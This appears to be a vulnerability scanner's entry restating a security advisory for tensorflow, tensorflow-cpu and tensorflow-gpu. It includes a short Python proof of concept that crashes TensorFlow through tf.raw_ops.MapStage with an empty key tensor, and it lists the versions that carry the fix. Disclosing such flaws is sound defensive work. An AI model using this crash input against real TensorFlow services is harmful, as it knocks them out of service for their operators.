QID 981542
QID 981542: Python (pip) Security Update for tensorflow-gpu (GHSA-278g-rq84-9hmg)
Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.MapStage`:
```python
import tensorflow as tf
tf.raw_ops.MapStage(
key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),
indices=tf.constant((0), dtype=tf.int32),
values=[tf.constant((0), dtype=tf.int32)],
dtypes=[tf.int32,
tf.int64],
capacity=0,
memory_limit=0,
container=',
shared_name=')
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513) does not check that the `key` input is a valid non-empty tensor.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
- GHSA-278g-rq84-9hmg -
github.com/advisories/GHSA-278g-rq84-9hmg
CVEs related to QID 981542
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-278g-rq84-9hmg | tensorflow |
|
|
| GHSA-278g-rq84-9hmg | tensorflow-cpu |
|
|
| GHSA-278g-rq84-9hmg | tensorflow-gpu |
|